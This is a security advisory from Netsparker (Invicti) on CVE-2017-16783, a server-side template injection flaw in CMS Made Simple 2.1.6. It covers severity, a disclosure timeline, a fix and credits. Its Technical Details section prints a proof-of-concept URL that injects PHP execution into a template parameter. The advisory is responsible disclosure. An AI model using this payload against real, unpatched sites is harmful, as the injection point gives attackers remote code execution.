Server-Side Template Injection Vulnerability in CMS Made Simple

Information

Advisory by Netsparker (now Invicti)
Name: Server-Side Template Injection Vulnerability in CMS Made Simple
Affected Software: CMS Made Simple
Affected Versions: Tested on  2.1.6
Vendor Homepage: http://www.cmsmadesimple.org/
Vulnerability Type: Server-Side Template Injection
Severity: Important
Status: Fixed
CVE-ID: CVE-2017-16783
CVSS Base Score (3.0): 9.8
CVSS Vector String(3.0): AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Invicti Advisory Reference: NS-17-32
Detailed write up: https://www.invicti.com/blog/web-security/exploiting-ssti-and-xss-in-cms-made-simple/

Description

Identified a Server Side Template Injection, which occurs when input data is unsafely embedded into a server-side template.

Technical Details

Proof of Concept URL for SSTI vulnerability in CMS Made Simple;

URL: /index.php?mact=News,cntnt01,default,0&cntnt01summarytemplate=string:{{7*7}}&cntnt01number=2&cntnt01detailtemplate=string:{php}phpinfo();{/php}&cntnt01category_id=1&cntnt01returnid=1
Parameter Name: cntnt01detailtemplate
Parameter Type: GET
Attack Pattern: string:{php}phpinfo();{/php}

Advisory Timeline

11 July 2017 – First Contact
26 Aug 2017 – Vendor Fixed
09 Nov 2017 – Advisory Released

Solution

Avoid creating templates from user input. If this is not possible, whitelist all input and encode it in accordance with the underlying subsystem or review the related template engine’s documentation for hardening.

Credits & Authors

These issues have been discovered by Mithat Gogebakan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.